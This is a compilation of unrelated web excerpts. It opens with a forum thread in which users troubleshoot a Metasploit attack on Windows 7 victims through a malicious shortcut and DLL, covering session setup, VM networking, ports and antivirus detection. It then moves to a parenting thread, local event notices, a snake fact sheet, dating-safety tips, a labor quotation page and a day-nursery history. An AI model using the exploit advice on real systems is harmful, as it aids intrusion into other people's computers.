But you can run the exploit, open the WebDav from within Backtrack and copy the files to USB the only thing you have do do is keep running msfconsole till someone connects.
What I understand is that you run Backtrack in a VM right? And the IP of BT is 192.168.56.1? But it binds to 10blabla?
Is the Nic of the VM in bridged mode?
If not do so cause else VMware/VirtualBox doing NAT and I don't know whether this works or not with Metasploit.
To flaw #2 Metasploit can only bind one Port a session. So try another port like 4443 or restart metasploit then it should work
Sorry for the double post, but no one has been posting here!
I successfully executed this exploit on a Windows 7 machine, but the only problem is a session is never opened. The lnk and dll file are opened on the victim PC, and on my BackTrack machine it shows someone connecting, and its shows the requests being sent, and recieved, but nothing happens after that. Any suggestions?
Last edited by Archangel-Amael; 07-29-2010 at 11:07 AM.
Actually this exploit is deceted by Microsoft Essentials and Avira Antivir. I just tested this two programs with the newest definitions.
Without them the attack was succesfully.


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Thread: My daughter loves make-up!!!
13th August 2013 01:44 AM #1
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My daughter loves make-up!!!
My 5yr. old daughter is somewhat fond of make-ups. Whenever we go outside she will not go out if she will not wear a lipstick and a blush which i don't know if i have to worry about it. I know make-ups contains some chemicals that usually not advisable for the skin especially to the younger ones my only problem now is how can i avoid it to happen if my daughter is not willing to stop using it i tried hiding all those make-ups that i used but we end up fighting.
21st August 2013 07:06 AM #2
Thank you for your question.
I would say this is very common and normal for a 5 year old girl. She is probably copying her friends and enjoying playing make believe and pretending to be a grown up.
I would try not to make a big deal out of it and let her have fun exploring and experimenting.
However, with regards to the chemical content it would be best if she could use makeup made from natural ingredients: here is just one example of natural makeup you can buy.
Best wishes,
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Hi 1sttimemom86
I am an early childhood educator. My daughter went through this faze too from about 5 years old for a couple of years. The more of a fuss you make the more likely your daughter will be to dig in her heels on the makeup issue.
I assume that since you have makeup in the house, you wear it yourself. Keep in mind that as well as playing with being an adult, as LJ suggests, your daughter is emulating you. This is a wonderful thing for many reasons dissociated with makeup. She looks up to you and wants to be like you!
Don't make a fight out of it. If your daughter would like to wear a little makeup when she goes out, let her. But at the same time become her 'Makeup Adviser.' Offer her only good quality and/or natural makeup. You might even make up a little sponge bag for her with a lipstick, a blush and a little eye shadow. Choose neutral/soft colours and talk to your daughter about applying only a little (versus a lot). Set some makeup wearing rules such as no makeup for school/daycare and work with the carers/teachers to enforce these rules.
This might sound like encouraging the wearing of makeup but what you are really trying to do is to open a healthy dialogue about it... and also to ensure that your 5 year old is not leaving the house in bright red lipstick! When the fight is gone this can become something nice you do together.
More than likely the novelty will wear off over time. If it doesn't, is there really any harm in a little lipstick and blush now and then when going somewhere nice? Probably not.
My daughter is now approaching 9 and she rarely asks to wear makeup. She still has the little sponge bag I gave her and every now and then for birthday or Christmas I buy her a little bottle of nail polish or a nice soft pink lip gloss to add to it. It rarely gets used but she feels respected by the gesture and when she does use it, it is sparingly.
As your daughter grows there will be many opportunities for you to come to loggerheads about issues of increasing importance. Laying the foundation now for respectful communication and compromise will go a long way to helping you to work through those bigger issues in the future.
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You can buy her some makeup that is especially made for kids. There are some stores that are selling natural and safe makeup. Some makeups contain harmful chemicals that can cause skin problems. Your daughter is very young to have these problems so make sure to buy her some natural and organic makeup that she can use it is better if you use natural makeup too.
22nd August 2014 05:10 AM #5
Yes I agree you do want to take care of her delicate skin so natural, safe make-up is the way to go.


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Create New Connections and Welcome Dean Robert E. Widing
The Los Angeles chapter of The Alumni Association cordially invites all Case Western Reserve University alumni to join us as we welcome Robert E. Widing PhD, the new dean of the Weatherhead School of Management, to Santa Monica for an all alumni networking reception. A global scholar, Dean Widing joined CWRU after working internationally for 15 of the past 20 years. Guests are invited to learn what's new at CWRU while connecting with fellow alumni.
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Magna will be the first stop Tuesday as Salt Lake County Mayor Ben McAdams begins a tour of unincorporated-area townships to talk about community issues and goals that residents view as priorities.
The session in Magna will run from 6:30 to 8 p.m. at Webster Community Center, 8952 W. 2700 South.
It will be followed by meetings for:
• White City Township, which also includes the communities of Granite, Sandy Hills and Willow Creek, on Feb. 19, from 7 to 8:30 p.m. at Dimple Dell Recreation Center, 10670 S. 1000 East.
• Millcreek and Emigration Canyon townships, Feb. 20, from 6:30 to 8 p.m. at Millcreek Community Center, 2266 E. Evergreen Ave. (3435 South).
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The White-lipped Snake, Drysdalia coronoides, is readily identifiable by the presence of a conspicuous white stripe along the upper lip. The back colour is variable, from brick-red, through to olive-green or dark grey, while the belly is usually a salmon pink colour. It has 15 rows of mid-body scales, a single anal scale and 38-67 single subcaudal scales. This is a small species with a total length of less than 50 cm.
White-lipped SnakePhotographer: Peter Robertson / Source: Wildlife Profiles Pty Ltd
The White-lipped Snake is quite common in the eastern suburbs of Melbourne and occurs throughout the forested areas of southern Victoria, often in wetter habitats.
While active day and night, the White-lipped Snake is rarely seen, preferring areas of heavy cover. It is usually encountered basking in the sun. Its diet consists of small lizards and occasionally frogs. Females produce 3-10 live young in late summer.
The White-lipped Snake is not usually dangerous to humans.
Coventry, A. J. and Robertson, P. 1991. The Snakes of Victoria – A Guide to their Identification. Department of Conservation & Environment/Museum of Victoria.
Cogger, H. 2000. Reptiles and Amphibians of Australia. Reed Books.
Wilson, S. & Swan, G. 2003. Reptiles of Australia. Princeton University Press.
Hi Penny. As white-lipped snakes are famously small (many sites advertise their maximum length as 40 cms) you may have seen a different species, while walking. There are photographs of various Victorian snake species that you can consult at our bioinformatics website. Do you any of them look familiar?
Hi Rick, consider joining a Herpetologist Society, such as the Australian Herpetological Society. You can find contact details here: http://www.ahs.org.au/
Hi Laura, as it says in our infosheet above, the white-lipped snake is very common. It's not threatened in the wild.
Hi Jane, the Australian Venom Research Unit are the people to ask about the potency of venom. You can find contact details here.
Hi Andre, thanks for the question. We have chatted with the Herpetologist and she is not an expert on the venom of snakes, she has suggested that the Australian Venom Research Unit will be able to answer this question definitively, as they are the experts in this field.
Hi Diana, Tiger Snakes will feed on frogs, tadpoles, fish, lizards, birds, mammals, carrion and even invertebrates. Depending on the location and habitat, their strongest preference is for frogs, followed by birds and mammals. They will also take snakes smaller than themselves, up to 300g (and White Lipped Snakes fall well within this range). Whilst it's possible the Tiger Snake will eat the White Lipped Snakes, it sounds like there are plenty of other prey in your area that they would prefer.
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5 Tips on How to Get Rid of Dating Site Stalkers
Yes, your mom said you should be nice to everyone, even the weird guys, right? But for your personal safety, ignore mom's advice when it comes to Internet dating.
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When you're online dating, it doesn't take long to realize one very important thing: There are some wildly annoying people on the internet. There are profiles written in all caps so it seems like they're yelling at you. There are profiles where the photos are cringe-worthy, or the guys seem to want something that doesn't exist. And then there are the guys who just won't leave you alone: They overwhelm you with requests for online chats and more.
These are the people who ignore every piece of online dating advice known to man, and spend their time sending emails that say charming things like "Um, why didn't you write me back?" or they'll email you a note that says, "I saw you that looked at my photo, but you didn't reply." Maybe you notice that every single time you happen to sign online, they do too…what a coincidence, except it's totally not. Things quickly go from flattering to freaky, FAST. These guys can take the fun out of online dating, and it seems like it's impossible to escape them. While you might not be able to rid your life or inbox of online dating stalkers completely, there are some ways to handle them so they don't keep using you as their digital punching bag.
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1. Do not engage the beast.
Remember when you were in junior high, and some silly boy in your class used to be a little jerk to you on the regular, and when you'd go home upset, your mom would tell you, "Well, he likes you." Awesome advice mom, thanks. I mean, how confusing was that? Well, it's still confusing, and unfortunately some men have never matured past 7th grade. The thing is though, this is adult swim, not the kiddie pool. You no longer need to put up with little Johnny making you feel like crap. At the root of it all, these guys crave one thing…attention, and they don't care if it's positive or negative.
Because you're a nice girl with manners, your initial reaction to the third or fourth aggressive email from the same person that says "Why didn't you write me back?" is to respond with a friendly, apologetic email of your own, explaining why you don't think that you are a perfect match, and wish him luck on his search for love. You might think this will be the end of it. Unfortunately, by giving the guy what he wants (attention) he's only going to keep coming back for more.
The cardinal rule of online dating is that if someone doesn't respond, they are not interested. Boom. done. We know it, you know it and he knows it. This kind of guy doesn't want to date you, he wants to annoy the hell out of you and since he's hiding behind the safety of his computer screen, he feels like it's his every right.
Keep ingoring him and he'll eventually go away, If not, use step two or use step two anyway!
2. Blocking is not just for football.
Never be afraid to block anyone who is being aggressive or annoying online. Dating sites never tell anyone that they've been blocked, so you're safe from any reprisals.
The beauty of it is that the annoying guy will have zero idea that you've blocked him. He'll waste his time writing stupid emails and you, you'll be out on fabulous dates.
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(Cleveland) - State Rep. Bill Patmon of Cleveland is joining force with legendary Fox 8 weatherman Dick Goddard in an effort to raise the penalty for animal abuse.
Patmon tells Newsradio WTAM 1100, he is sponsoring a bill that makes knowingly injuring or killing a companion animal or depriving it of food, water or shelter, a fifth-degree felony punishable by six months to a year in jail.
Patmon says his legislation is being called Dick Goddard's Act, for the long time meteorologist who is known far and wide as an advocate for pets.
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Labor is effort expended on a task.
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·Hoyt's New Cyclopedia of Practical Quotations·Dictionary of Legal Quotations
- No single event has influenced the history of labor in Illinois, the United States, and even the world, more than the Chicago Haymarket Affair. It began with a rally on May 4, 1886, but the consequences are still being felt today. Although the rally is included in American history textbooks, very few present the event accurately or point out its significance.
- William J. Adelman "The Haymarket Affair". illinoislaborhistory.org. Retrieved March 19, 2014.
- Measure not the work
Until the day's out and the labour done,
Then bring your gauges.
- Elizabeth Barrett Browning, Aurora Leigh (1857), Book V.
- Such hath it been—shall be—beneath the sun
The many still must labour for the one.
- Lord Byron, The Corsair (1814), Canto I, Stanza 8.
- Labor is discovered to be the grand conqueror, enriching and building up nations more surely than the proudest battles.
- William Ellery Channing, War (1816).
- The consistent anarchist, then, should be a socialist, but a socialist of a particular sort. He will not only oppose alienated and specialized labor and look forward to the appropriation of capital by the whole body of workers, but he will also insist that this appropriation be direct, not exercised by some elite force acting in the name of the proletariat.
- Noam Chomsky, Notes On Anarchism (1970).
- I believe that every employee, from the CEO suite to the factory floor, contributes to a business' success, so everybody should share in the rewards – especially those putting in long hours for little pay.
- Hillary Clinton, speech in Warren, Michigan. Transcript by Newsweek [1] (August 11, 2016)
- Personally, I have nothing against work, particularly when performed, quietly and unobtrusively, by someone else. I just don't happen to think it's an appropriate subject for an "ethic."
- Barbara Ehrenreich, "Goodbye to the Work Ethic" (1988), in The Worst Years of Our Lives: Irreverent Notes from a Decade of Greed (1991).
- He who understands the limits of life knows how easy it is to procure enough to remove the pain of want and make the whole life complete and perfect. Hence he has no longer any need of things which are not to be won save by labor and conflict.
- Epicurus, "Principal Doctrines," 21
- Every employee in an undertaking, then, takes a larger or smaller share in the work of administration, and has, therefore, to use and display his administrative faculties. This is why we often see men, who are specially gifted, gradually rise from the lowest to the highest level of the industrial hierarchy, although they have only had an elementary education. But young men, who begin practical work as engineers soon after leaving industrial schools, are in a particularly good position both for learning administration and for showing their ability in this direction, for in administration, as in all other branches of industrial activity, a man's work is judged by its results.
- Henri Fayol, (1900) Henri Fayol addressed his colleagues in the mineral industry 23 June 1900.
- The idea that to make a man work you've got to hold gold in front of his eyes is a growth, not an axiom. We've done that for so long that we've forgotten there's any other way.
- F. Scott Fitzgerald, "Amory Blaine" in This Side of Paradise (1920) Bk. 2, Ch. 5.
- For as labor cannot produce without the use of land, the denial of the equal right to the use of land is necessarily the denial of the right of labor to its own produce.
- Henry George, Progress and Poverty (1879), Book VII, Ch. 1.
- If little labour, little are our gaines:
Man's fortunes are according to his paines.
- Robert Herrick, Hesperides (1648), "No Paines, No Gaines".
- Our fruitless labours mourn,
And only rich in barren fame return.
- Homer, Odessey (c. 7th century BC); tr. Alexander Pope, The Odyssey of Homer (1725), Book X, line 46.
- To labour is the lot of man below;
And when Jove gave us life, he gave us woe.
- Homer, Iliad (c. 7th century BC); tr. Alexander Pope, The Iliad of Homer (1715–1720), Book X, Line 78.
- The highest reward that God gives us for good work, is the ability to do better work.
- Elbert Hubbard, The Note Book of Elbert Hubbard (1927), p. 125.
- I've had the best possible chance of learning that what the working-classes really need is to be allowed some part in the direction of public affairs, Doctor—to develop their abilities, their understanding and their self-respect.
- Henrik Ibsen, An Enemy of the People, English adaptation by Max Faber (1970), act II, p. 28. Mr. Hovstad is speaking.
- I agree with you, Mr. Chairman, that the working men are the basis of all governments, for the plain reason that they are the more numerous, and as you added that those were the sentiments of the gentlemen present, representing not only the working class, but citizens of other callings than those of the mechanic, I am happy to concur with you in these sentiments, not only of the native born citizens, but also of the Germans and foreigners from other countries.
- Abraham Lincoln, speech to Germans at Cincinnati, Ohio (February 12, 1861) [Commercial version]; in Roy P. Basler, ed., The Collected Works of Abraham Lincoln (1953), vol. 4, p. 202.
- In the early days of the world, the Almighty said to the first of our race "In the sweat of thy face shalt thou eat bread"; and since then, if we except the light and the air of heaven, no good thing has been, or can be enjoyed by us, without having first cost labour. And inasmuch [as] most good things are produced by labour, it follows that [all] such things of right belong to those whose labour has produced them. But it has so happened in all ages of the world, that some have labored, and others have, without labour, enjoyed a large proportion of the fruits. This is wrong, and should not continue. To [secure] to each labourer the whole product of his labour, or as nearly as possible, is a most worthy object of any good government.
- Abraham Lincoln, fragments of a tariff discussion (c. December 1, 1847); in Roy P. Basler, ed., The Collected Works of Abraham Lincoln (1953), vol. 1, p. 407–8.
- It is better, then, to save the work while it is begun. You have done the labor; maintain it—keep it. If men choose to serve you, go with them; but as you have made up your organization upon principle, stand by it; for, as surely as God reigns over you, and has inspired your mind, and given you a sense of propriety, and continues to give you hope, so surely will you still cling to these ideas, and you will at last come back after your wanderings, merely to do your work over again.
- Abraham Lincoln, speech at Chicago, Illinois (July 10, 1858); in Roy P. Basler, ed., The Collected Works of Abraham Lincoln (1953), vol. 2, p. 498.
- Labor is prior to, and independent of, capital. Capital is only the fruit of labor, and could never have existed if labor had not first existed. Labor is the superior of capital, and deserves much the higher consideration.
- Abraham Lincoln, First State of the Union Address (December 3, 1861); in Roy P. Basler, ed., The Collected Works of Abraham Lincoln (1953), vol. 5, p. 52.
- The most notable feature of a disturbance in your city last summer, was the hanging of some working people by other working people. It should never be so. The strongest bond of human sympathy, outside of the family relation, should be one uniting all working people, of all nations, and tongues, and kindreds.
- Abraham Lincoln, reply to New York Workingmen's Democratic Republican Association (March 21, 1864); in Roy P. Basler, ed., The Collected Works of Abraham Lincoln (1953), vol. 7, p. 259.
- From labor there shall come forth rest.
- Henry Wadsworth Longfellow, "To a Child", line 162; in The Belfry of Bruges and Other Poems (1845).
- Capital is dead labor,that vampire-like, only lives by sucking living labor, and lives the more, the more labor it sucks.
- Karl Marx, das Kapital, Vol. I, Ch. 10, Section 1, p. 257.
- Towards this fine honor of a trade converged all the finest, all the most noble sentiments—dignity, pride. Never ask anything of anyone, they used to say. … In those days a workman did not know what it was to solicit. It is the bourgeoisie who, turning the workmen into bourgeois, have taught them to solicit.
- Charles Péguy, Basic Verities, A. & J. Green, trans. (New York: 1943), p. 83.
- The man who by his labour gets
His bread, in independent state,
Who never begs, and seldom eats,
Himself can fix or change his fate.
- Matthew Prior (1664–1721), The Old Gentry (posthumous), St. 5.
- What would you do if your country's welfare depended on labor? When a ship is in a storm it requires one captain.
- Fritz Sauckel, To Leon Goldensohn, February 9, 1946, from "The Nuremberg Interviews" by Leon Goldensohn, Robert Gellately - History (2004), p. 209.
- Nothing tends to materialize man and to deprive his work of the faintest trace of mind more than the extreme division of labor.
- Alexis de Tocqueville, Democracy in America, vol. 1, chapter 18 (1835).
- Labor in this country is independent and proud. It has not to ask the patronage of capital, but capital solicits the aid of labor.
- Daniel Webster, A discourse, delivered at Plymouth, December 22, 1820. In commemoration of the first settlement of New-England.
- They are usually denominated labor-saving machines, but it would be more just to call them labor-doing machines.
- Daniel Webster, remarks in the Senate (March 12, 1838); The Writings and Speeches of Daniel Webster (1903), vol. 8, p. 177.
Hoyt's New Cyclopedia Of Practical Quotations[edit]
- Quotes reported in Hoyt's New Cyclopedia Of Practical Quotations (1922), p. 423-25.
- Labour in vain; or coals to Newcastle.
- Anon. In a sermon to the people of Queen-Hith. Advertised in the Daily Courant, Oct. 6, 1709. Published in Paternoster Row, London. "Coals to Newcastle," or "from Newcastle," found in Heywood—If you Know Not Me, Part II. (1606). Gaunt—Bills of Mortality. (1661). Middleton—Phœnix, Act I, scene 5. R. Thoresby—Correspondence. Letter June 29, 1682. Owls to Athens. (Athenian coins were stamped with the owl.) Aristophanes—Aves. 301. Diogenes Laertius—Lives of Eminent Philosophers. Plato, XXXII. You are importing pepper into Hindostan. From the Bustan of Sadi.
- Qui laborat, orat.
- He who labours, prays.
- Attr. to St. Augustine.
- Qui orat et laborat, cor levat ad Deum cum manibus.
- He who prays and labours lifts his heart to God with his hands.
- St. Bernard, Ad sororem. A similar expression is found in the works of Gregory the Great—Moral in Libr. Job, Book XVIII. Also in Pseudo-Hieron, in Jerem., Thren. III. 41. See also "What worship, for example, is there not in mere washing!" Carlyle—Past and Present, Chapter XV., referring to "Work is prayer".
- Not all the labor of the earth
Is done by hardened hands.
- Will Carleton, A Working Woman.
- And yet without labour there were no ease, no rest, so much as conceivable.
- Thomas Carlyle, Essays, Characteristics.
- They can expect nothing but their labor for their pains.
- Miguel de Cervantes, Don Quixote, Author's Preface. Edward Moore, The Boy and the Rainbow.
- Labor is discovered to be the grand conqueror, enriching and building up nations more surely than the proudest battles.
- William Ellery Channing, War.
- Vulgo enim dicitur, Jucundi acti labores: nec male Euripides: concludam, si potero, Latine: Græcum enim hunc versum nostis omnes: Suavis laborum est præteritorum memoria.
- It is generally said, "Past labors are pleasant," Euripides says, for you all know the Greek verse, "The recollection of past labors is pleasant."
- Cicero, De Finibus Bonorum et Malorum, II. 32.
- A truly American sentiment recognises the dignity of labor and the fact that honor lies in honest toil.
- Grover Cleveland, letter accepting the nomination for President. Aug. 18, 1884.
- American labor, which is the capital of our workingmen.
- Grover Cleveland, Annual Message. Dec., 1885.
- When admirals extoll'd for standing still,
Of doing nothing with a deal of skill.
- William Cowper, Table Talk, line 192.
- Honest labour bears a lovely face.
- Thomas Dekker, Patient Grissell (1599), Act I, scene 1.
- Labour itself is but a sorrowful song,
The protest of the weak against the strong.
- Frederick William Faber, The Sorrowful World.
- It is so far from being needless pains, that it may bring considerable profit, to carry Charcoals to Newcastle.
- Thomas Fuller, Pisgah, Sight of Palestine (Ed. 1650), p. 128. Worthies, p. 302. (Ed. 1661).
- For as labor cannot produce without the use of land, the denial of the equal right to the use of land is necessarily the denial of the right of labor to its own produce.
- Henry George, Progress and Poverty, Book VII, Chapter I.
- How blest is he who crowns in shades like these,
A youth of labour with an age of ease.
- Oliver Goldsmith, The Deserted Village (1770), line 99.
- Vitam perdidi laboricose agendo.
- I have spent my life laboriously doing nothing.
- Quoted by Grotius on his death bed.
- If little labour, little are our gaines:
Man's fortunes are according to his paines.
- Robert Herrick, Hesperides, No Paines, No Gaines.
- To labour is the lot of man below;
And when Jove gave us life, he gave us woe.
- Homer, The Iliad, Book X, line 78. Pope's translation.
- Our fruitless labours mourn,
And only rich in barren fame return.
- Homer, The Odyssey, Book X, line 46. Pope's translation.
- With fingers weary and worn,
With eyelids heavy and red,
A woman sat in unwomanly rags,
Plying her needle and thread.
- Thomas Hood, Song of the Shirt,,.
- Qui studet optatam cursu contingere metam
Multa tulit fecitque puer, sudavit et alsit.
- He who would reach the desired goal must, while a boy, suffer and labor much and bear both heat and cold.
- Horace, Ars Poetica (18 BC), CCCCXII.
- O laborum
Dulce lenimen.
- O sweet solace of labors.
- Horace, Carmina, I. 32. 14.
- In silvam ligna ferre.
- To carry timber into the wood.
- Horace, Satires, I. 10. 24.
- Cur quæris quietem, quam natus sis ad laborem?
- Why seekest thou rest, since thou art born to labor?
- Thomas á Kempis, De Imitatione Christi, II. 10. 1.
- The heights by great men reached and kept
Were not attained by sudden flight,
But they, while l heir companions slept,
Were toiling upward in the night.
- Henry Wadsworth Longfellow, Birds of Passage, The Ladder of St. Augustine, Stanza 10.
- Taste the joy
That springs from labor.
- Henry Wadsworth Longfellow, Masque of Pandora, Part VI. In the Garden. "From labor there shall come forth rest."--Longfellow—To a Child, line 162.
- Labor est etiam ipsa voluptas.
- Labor is itself a pleasure.
- Marcus Manilius, Astronomica, IV. 155.
- Bowed by the weight of centuries he leans
Upon his hoe and gazes on the ground,
The emptiness of ages in his face,
And on his back the burden of the world.
- Edwin Markham, The Man with the Hoe. Written after seeing Millet's picture "Angelus".
- But now my task is smoothly done,
I can fly, or I can run.
- John Milton, Comus (1637), line 1,012.
- Lo! all life this truth declares,
Laborare est orare;
And the whole earth rings with prayers.
- Miss Mulock, Labour is Prayer, Stanza 4.
- Labor is life! 'Tis the still water faileth;
Idleness ever despaireth, bewaileth;
Keep the watch wound, for the dark rust assaileth.
- Frances S. Osgood, To Labor is to Pray.
- Labor is rest—from the sorrows that greet us;
Rest from all petty vexations that meet us,
Rest from sin-promptings that ever entreat us,
Rest from the world-sirens that hire us to ill.
Work—and pure slumbers shall wait on thy pillow;
Work—thou shalt ride over Care's coming billow;
Lie not down wearied 'neath Woe's weeping willow!
Work with a stout heart and resolute will!
- Frances S. Osgood, To Labor is to Pray.
- Dum vires annique sinunt, tolerate labores.
Jam veniet tacito curva senecta pede.
- While strength and years permit, endure labor; soon bent old age will come with silent foot.
- Ovid, Ars Amatoria, II. 669.
- And all labour without any play, boys,
Makes Jack a dull boy in the end.
- H. A. Page (pseudonym of Alexander Hay Japp), Vers de Société.
- Grex venalium.
- The herd of hirelings. (A venal pack.)
- Plautus, Cistellaria, IV. 2. 67.
- Oleum et operam perdidi.
- I have lost my oil and my labor. (Labored in vain.)
- Plautus, Pœnulus, I. 2. 119.
- The man who by his labour gets
His bread, in independent state,
Who never begs, and seldom eats,
Himself can fix or change his fate.
- Matthew Prior, The Old Gentry.
- Why, Hal, 'tis my vocation. Hal: 'tis no sin for a man to labour in his vocation.
- William Shakespeare, Henry IV, Part I (c. 1597), Act I, scene 2, line 116.
- The labour we delight in physics pain.
- William Shakespeare, Macbeth (1605), Act II, scene 3, line 55.
- I have had my labour for my travail.
- William Shakespeare, Troilus and Cressida (c. 1602), Act I, scene 1, line 72.
- Many faint with toil,
That few may know the cares and woe of sloth.
- Percy Bysshe Shelley, Queen Mab (1813), Canto III.
- Labour of love.
- I Thessalonians. I. 3.
- With starving labor pampering idle waste;
To tear at pleasure the defected land.
- James Thomson, Liberty, Part IV, line 1,160.
- The labourer is worthy of his reward.
- I Timothy. V. 18; Luke. X. 7. (hire).
- Clamorous pauperism feasteth
While honest Labor, pining, hideth his sharp ribs.
- Martin Tupper, Of Discretion.
- Labor omnia vincit improbus.
- Stubborn labor conquers everything.
- Virgil, Georgics (c. 29 BC), I. 145.
- Too long, that some may rest,
Tired millions toil unblest.
- William Watson, New National Anthem.
- Labor in this country is independent and proud. It has not to ask the patronage of capital, but capital solicits the aid of labor.
- Daniel Webster, speech, April, 1824.
- Ah, little recks the laborer,
How near his work is holding him to God,
The loving Laborer through space and time.
- Walt Whitman, Song of the Exposition, I.
- Ah vitam perdidi operse nihil agendo.
- Ah, my life is lost in laboriously doing nothing.
- Josiah Woodward, Fair Warnings to a Careless World, p. 97. Ed. 1736, quoting Merick Casaubon.
Dictionary of Legal Quotations (1904)[edit]
- Quotes reported in James William Norton-Kyshe, Dictionary of Legal Quotations (1904), p. 164-165.
- The power of arbitrarily dismissing those in one's employ, is a power exercised in a great degree over a vast number of persons in this country, without their having any redress at law. Put the case of a day labourer or ordinary servant. You may refuse to give him a character, and he has no redress. If you give him a false character, he has the means of redress, but that is of a very different kind. And this is the law of the land.
- Shadwell, V.-C, Ranger v. Great Western Rail. Co. (1838), 2 Jur. (0. S.) 789.
- The possession of the servant is the possession of the master.
- Hide, C.J., King v. Burgess (1663), Ray. (Sir Thos.) Rep. 85.
- Apprentices and servants are characters perfectly distinct: the one receives instruction, the other a stipulated price for his labour.
- Lord Kenyon, C.J., The King v. Inhabitants of St. Paul's, Bedford (1797), 6 T. R. 454.
Dictionary of Burning Words of Brilliant Writers (1895)[edit]
Quotes reported in Josiah Hotchkiss Gilbert, Dictionary of Burning Words of Brilliant Writers (1895).
- No man is born into the world whose work is not born with him. There is always work, and tools to work withal, for those who will.
- Henry Ward Beecher, p. 368.
- Let parents who hate their offspring rear them to hate labor, and to inherit riches; and before long they will be stung by every vice, racked by its poison, and damned by its penalty.
- Henry Ward Beecher, p. 438.
- Blessed is the man who has found his work; let him ask no other blessedness. Know thy work, and do it; and work at it like Hercules. One monster there is in the world, the idle man.
- Thomas Carlyle, p. 367.
- Labor is sweet, for Thou hast toiled,
And care is light, for Thou hast cared;
Let not our works with self be soiled,
Nor in unsimple ways ensnared.
Through life's long day and death's dark night,
O gentle Jesus! be our light.
- Frederick William Faber, p. 369.
- No man is base who does a true work; for true action is the highest being. No man is miserable that does a true work; for right action is the highest happiness. No man is isolated that does a true work; for useful action is the highest harmony — it is the highest harmony with nature and with souls — it is living association with men — and it is practical fellowship with God.
- Henry Giles, p. 369.
- Man must work. That is certain as the sun. But he may work grudgingly, or he may work gratefully; he may work as a man, or he may work as a machine. He cannot always choose his work, but he can do it in a generous temper, and with an up-looking heart. There is no work so rude, that he may not exalt it; there is no work so impassive, that he may not breathe a soul into it; there is no work so dull, that he may not enliven it.
- Henry Giles, p. 369.
- A man's labors must pass like the sunrises and sunsets of the world. The next thing, not the last, must be his care.
- George MacDonald, p. 369.
- Labor is not, as some have erroneously supposed, a penal clause of the original curse. There was labor, bright, healthful, unfatiguing, in unfallen Paradise. By sin, labor became drudgery — the earth was restrained from her spontaneous fertility, and the strong arm of the husbandman was required, not to develop, but to "subdue" it. But labor in itself is noble, and is necessary for the ripe unfolding of the highest life.
- William Morley Punshon, p. 367.
- Labor is the true alchemist that beats out in patient transmutation the baser metals into gold.
- William Morley Punshon, p. 367.
- God does not give excellence to men but as the reward of labor.
- Sir Joshua Reynolds, p. 367.
- Nothing is denied to well-directed labor; nothing is ever to be attained without it.
- Sir Joshua Reynolds, p. 367.
- The virtues, like the body,become strong more by labor than by nourishment.
- Jean Paul, p. 368.


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Headlines of the day: Woodrow Wilson Elected President; The Unsinkable Titanic Sinks; New Mexico & Arizona New States.
The year was 1912, a remarkable year for the United States and the small town of Long Beach (population 18,000), when the Port of Long Beach and the Long Beach Water Department celebrated their first year.
Another momentous event occurred in Long Beach 100 years ago, but it went virtually unnoticed. There were no big headlines or parades, but the event was to improve the quality of life for thousands of people.
On Nov. 4, 1912, three mothers went to a small bungalow on American Avenue (now Long Beach Boulevard) and dropped off their preschool children at the city's first day care center, the Long Beach Day Nursery, now the oldest continuously licensed private social welfare agency in California.
For 10 cents a day, the children were fed and educated in a safe environment so their single, working mothers could go to work without worrying about them.
The concept of day care centers for working women was an idea way ahead of its time in 1912. Back then, women were supposed to stay at home and raise their children. If mothers lost their working husbands for whatever reason, it was difficult for women to find jobs and, if they did, they had to worry about what to do with their children while they were working.
It took the vision of Florence Bixby, the first president of the nursery, and Alice Graydon to champion the idea of a day care center in Long Beach and persuade the Associated Charities Board to establish it.
The young day care center finally got some public attention when a small article finally ran on page six in the Daily Telegram on Nov. 26, 1912, three weeks after the opening. The article said the Associated Charities board found the home in excellent condition and the children "more than well and happy" because of the work of director Florence Fisher, who was "imbued with love of her work which is the essential without which other effort would be of little avail."
Board members also talked about the need for money and showed a fierce determination to keep the day care center going.
"Plans are already afoot for the maintenance of the nursery during next summer, for the committee has no intention of allowing their project to be a temporary fad," the article said.
Florence Bixby, Alice Graydon and other supporters would be more than proud that not only did the Long Beach Day Nursery not turn out to be a fad, it is celebrating its 100th anniversary this year.
The nursery will kick off a yearlong series of celebratory events today with the opening of an exhibit at the Historical Society of Long Beach chronicling the colorful history of the center.
But in addition to celebrating the past, Melanie Werts, this year's board chairwoman, said, "We want supporters 100 years from now to appreciate our careful stewardship of this wonderful organization."
Patrice Wong, LBDN's executive director, estimates that the nursery has served 25,000 to 30,000 children in the past 100 years. It now serves about 330 children each year, 230 on any given day. On average, this includes 36 infants (ages 6 weeks to 18 months), 56 toddlers (18 months to 36 months) and 138 preschoolers (ages 3-5) over two sites, the original West Branch home at 1548 Chestnut Ave., and the East Branch at 3965 Bellflower Blvd.
The children reflect the diversity of the city with 46 percent Latino, 24 percent African-American, 20 percent Caucasian and 7 percent Asian. Fifty-eight percent are low income with a household income below 70 percent of the state median income.
The most well-known alums of the nursery are Beverly O'Neill, who grew up to become mayor of Long Beach, and Richard King, a prominent businessman who, at 94, is the oldest living alum.
If you want to spend a delightful, satisfying couple of hours, you should take a tour of the nursery like I did the other day.
In five classrooms at the West Branch, children were busy learning and playing. In a room decorated with colorful art, Zackariah and Ariyan were learning how to measure with cups and water. "I'm happy here," Zackariah said with a big smile.
Other children were painting with watercolors. Hannah, 3, was using a board with rubber bands to develop motor skills and learn shapes and geometry with teacher Edith Holmes. Another teacher, Miracle Butler, was reading to children and showing them how to use story tapes on their headsets.
Outside on the playground, Eva Jimeniz supervised 15 children from 21 months to 3 years riding bikes, using the swing and just having a good time.
"We've separated the playground area into one area for the younger children and the other for the older kids," said Jimeniz, who is the resident gardener in addition to teaching. Ten years ago she planted guava and avocado trees that are producing fruit now.
What is the secret of dealing with 15 rambunctious, high-energy children all day?
"Patience, I guess," she replies and adds, laughing, "I had eight children myself."
At lunch the children had a nourishing meal of chili beans, corn, apples, crackers and milk. The head cook is Alicia Guevara, who prepares the daily menu, including detailed notes on what foods the children are allergic to so she can customize their servings.
The lunch was followed by nap time (some of which I could have used, too!) and then more classroom work. The nursery is open from 6:30 a.m. to 6 p.m.
Wong made it clear that the day care center isn't a babysitting service.
"We provide critical early education to these children that includes a math and science curriculum and a reading program led by highly trained teachers," the director said.
She also explained how the Day Nursery must meet high developmental standards written by the California Department of Education.
Wong got a firsthand look at the Day Nursery when she took her adopted daughter, Sara, to the nursery when Sara was 15 months old.
"I really loved the way my daughter and I were treated," she said. Sara stayed as a "customer" for five years and her mother came back to run the nursery as executive director.
